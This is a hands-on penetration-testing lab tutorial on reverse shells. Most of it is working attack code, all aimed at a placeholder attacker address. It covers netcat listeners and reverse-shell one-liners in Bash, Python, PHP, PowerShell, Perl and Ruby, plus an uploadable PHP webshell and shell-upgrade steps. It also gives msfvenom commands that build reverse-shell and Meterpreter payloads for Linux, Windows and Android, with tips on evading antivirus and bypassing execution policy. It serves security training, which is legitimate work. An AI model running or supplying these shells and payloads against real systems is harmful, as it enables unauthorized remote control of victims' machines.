๐ฏ Lab Objectives
- Understand the difference between bind shells and reverse shells
- Set up a netcat listener on your attacker machine
- Use multiple languages to establish a reverse shell
- Upgrade a basic shell to a fully interactive TTY
- Generate payloads with msfvenom for different platforms
Step 1 โ Bind Shell vs Reverse Shell
๐ Bind Shell
Victim opens a port. Attacker connects TO the victim. Blocked by most firewalls.
๐ Reverse Shell
Victim connects back TO attacker. Bypasses firewalls that block inbound but allow outbound.
Reverse shells are used in 99% of real exploits because most firewalls allow outbound connections but block inbound ones.
Step 2 โ Setting Up a Netcat Listener
Before sending any reverse shell, start a listener on your Kali machine to catch the connection.
# Start listener on port 4444
nc -lvnp 4444
# Flags explained:
# -l โ listen mode
# -v โ verbose (show connections)
# -n โ no DNS resolution (faster)
# -p โ port number
# Use rlwrap for arrow key support (much nicer shell)
rlwrap nc -lvnp 4444
# Your listener is now waiting for the victim to connect
# You need your attacker IP (the IP the victim will connect to)
ip a | grep "inet " | grep -v 127
Step 3 โ Bash Reverse Shell
# Run on the VICTIM machine (replace IP + PORT with yours)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Alternative bash variants
/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
# URL-encoded version (for web exploits)
bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'
# What this does:
# /dev/tcp/IP/PORT โ Linux's built-in TCP pseudofile
# >& redirects both stdout and stderr to the socket
# 0>&1 redirects stdin from the socket
# Result: your shell commands go over the network
Step 4 โ Python Reverse Shell
# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Check Python version on victim
python --version
python3 --version
Step 5 โ PHP Reverse Shell
# One-liner (for command injection or RCE)
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# Full PHP reverse shell file (upload as .php webshell)
<?php
$ip = 'ATTACKER_IP';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>
# PentestMonkey PHP reverse shell (most popular)
# Download from: github.com/pentestmonkey/php-reverse-shell
# Edit $ip and $port variables, then upload to target
Step 6 โ PowerShell (Windows)
# PowerShell reverse shell (run on Windows victim)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Bypass execution policy
powershell -ep bypass -c "..."
# Encoded version (bypasses some AV detection)
# Use revshells.com to generate encoded variants
# Netcat for Windows (if nc.exe is on the system)
nc.exe -e cmd.exe ATTACKER_IP 4444
Step 7 โ Upgrading Your Shell (TTY)
A raw reverse shell is limited โ no tab completion, arrow keys don't work, Ctrl+C kills the shell. Upgrade it to a full TTY.
# After catching the shell, check what's available
which python python3 perl ruby
# Method 1: Python PTY (most common)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then on your local machine:
Ctrl+Z # background the shell
stty raw -echo # set terminal to raw mode
fg # bring shell back
export TERM=xterm
# Method 2: script
script /dev/null -c bash
# Method 3: socat (best full TTY)
# On attacker โ start socat listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# On victim โ connect back:
socat tcp-connect:ATTACKER_IP:4444 exec:bash,pty,stderr,setsid,sigint,sane
Step 8 โ msfvenom Payloads
# Generate a Linux reverse shell binary
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf -o shell.elf
# Windows reverse shell executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe
# Windows with Meterpreter (staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o meter.exe
# PHP webshell payload
msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=4444 -f raw -o shell.php
# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -o evil.apk
# Catch msfvenom payloads with Metasploit
msfconsole -q -x "use multi/handler; set PAYLOAD windows/x64/shell_reverse_tcp; set LHOST ATTACKER_IP; set LPORT 4444; run"
๐ Reverse Shell One-Liners
| Language | One-liner (replace IP/PORT) |
|---|---|
| Bash | bash -i >& /dev/tcp/IP/4444 0>&1 |
| Python 3 | python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("sh")' |
| Netcat | nc -e /bin/bash IP 4444 |
| Netcat (no -e) | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 4444 >/tmp/f |
| PHP | php -r '$s=fsockopen("IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' |
| Perl | perl -e 'use Socket;$i="IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");' |
| Ruby | ruby -rsocket -e'f=TCPSocket.open("IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
Lab Complete! Always upgrade your shell to a full TTY immediately after catching it. Practice on TryHackMe or HackTheBox to get comfortable.